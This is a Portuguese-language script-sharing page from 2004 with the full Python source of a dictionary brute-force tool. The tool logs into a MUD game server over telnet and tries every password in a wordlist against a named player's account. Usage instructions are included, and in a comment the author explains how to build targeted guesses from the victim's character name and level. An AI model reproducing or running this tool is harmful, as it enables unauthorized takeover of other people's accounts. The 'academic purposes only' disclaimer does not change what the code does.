Brute Force para MUD

Publicado por Karl Phillip 14/07/2004

[ Hits: 9.937 ]

Download mudbf.py




Programa do tipo forca bruta para MUDs, escrito em Python por mim.
Tenta descobrir a senha de um jogador atraves de um dicionario de palavras,  passando como parametro o Host  e a Porta em que o jogo esta rodando.

Uso: ./mudbf.py  end.do-mud.com  3000  JOGADOR  dic_palavras.txt

Meus agradecimentos a <Aloysio de Paiva Figueiredo> pelo incentivo e muitas vezes suporte.

  



Esconder código-fonte

#!/usr/bin/python
#########################################################################################
###                                                                                     #
###  This is a <Brute Force> program for MUD.                                           #
###  It was design fo academic purposes only.       ***USE IT AT OWN RISC***            #
###  Written in Python by: Karl Phillip                                                 #
###    website: www.maxphil.cjb.net                                                     #
###    [email protected]: [email protected]                                                       #
###                                                     Karl Phillip                    #
#########################################################################################


import sys, string
from telnetlib import Telnet

try:
  host_name = sys.argv[1]
  port = sys.argv[2]
  ptarget = sys.argv[3]
  fname = sys.argv[4]
except IndexError:
  print ">> Usage: ./mudbf <host> <port> <playerTARGET> <passwdFILE)\n"
  sys.exit(1)

try:
  arq = open(fname)
  arq.close()
except IOError:
  print ">> Password file does not exist!\n"
  sys.exit(1)

print "\n<PytHoN programmed/>  _brute_force4MUD_"
print ""
print "  http://www.maxphil.cjb.net"
print "  by: Karl Phillip \n"
print " <Target>: %s" % host_name
print " <Port>:   %s" % port
print " <Player>: %s\n" % ptarget
print ">> Trying passwords.. (this could take a few minutes)\n"
arq = open(fname)
login_sucess = "*** PRESS RETURN:"
login_new ="Did I get that righ"

numtries = 0
looping = False
while not looping:

 for line in arq.readlines():
   passwd = line
   numtries += 1
   vict = Telnet(host_name, port)   
   vict.write(ptarget+"\n")  
   vict.write(str(passwd)+"\n")  

   response = vict.read_until("Wrong password.", 12)

   if string.count(response, login_new):
     print "\n========================================="
     print "     *PLAYER NOT FOUND* in this MUD!"
     print "=========================================\n"
     arq.close()
     vict.close()
     sys.exit(1)  
   elif string.count(response, login_sucess):
     print "\n  <Passwords tried>  %d" % int(numtries)
     print "\n*User*:     %s" % ptarget
     print "*Password*: %s" % passwd
     vict.close()
     sys.exit(1)
   else:
     #print "Trying passwd: %s" % passwd
     vict.close()
  vict.close()

 looping = True
     
arq.close()
vict.close()
print "\n  <Passwords tried>  %d" % int(numtries)
print "\n========================================="
print "  *NO PASSWORD* was found in that file!"
print "=========================================\n"
     

Scripts recomendados

Função para decriptar Base64 em string compactada

MsgCoder - Codificador de mensagens

Como mudar o IP aleatoriamente em Python

Krypt - Função de criptografia por chave de qualquer tamanho

Adivinhar Número


  

Comentários
[1] Comentário enviado por karlphillip em 16/07/2004 - 13:53h

Quem usar o programa, por favor, poste um comentário p/ mim saber que ele foi útil para mais alguém.

Grato pela Atenção,

[2] Comentário enviado por removido em 20/07/2004 - 11:47h

Oi, eu acho que seria interessante utilizar no script o recurso de bruteforce sem wordlist. Demora mais, mas também é muito mais funcional...

[3] Comentário enviado por karlphillip em 20/07/2004 - 18:44h

Humm.. eu acho que dessa forma fica mais fácil tentar acertar a senha do player. É possível você montar um conjunto de senhas prováveis para o tal jogador, e acrescenta-la na wordlist, do que esperar o programa tentar as possíveis combinações de palavras, uma a uma, até chegar num resultado.
Veja por exemplo, se nosso jogador alvo foce Padawan, Level 109. Nós poderíamos criar as possíveis combinações de senhas: p4d4w4n, pada, pada109, padinha , etc... Imagina ter que esperar o programa começar a fazer combinações na letra P.. ia demorar séculos. Com uma wordlist, poderíamos acrescentar essas palavras no início do arquivo para o programa tentar. Teríamos uma resposta muito mais rápida.
Agradeço a contribuição jr.lepchak. Acho também interessante a sua idéia, e se você chegar a implementa-la poderia me mandar um email? Karl Phillip.


Contribuir com comentário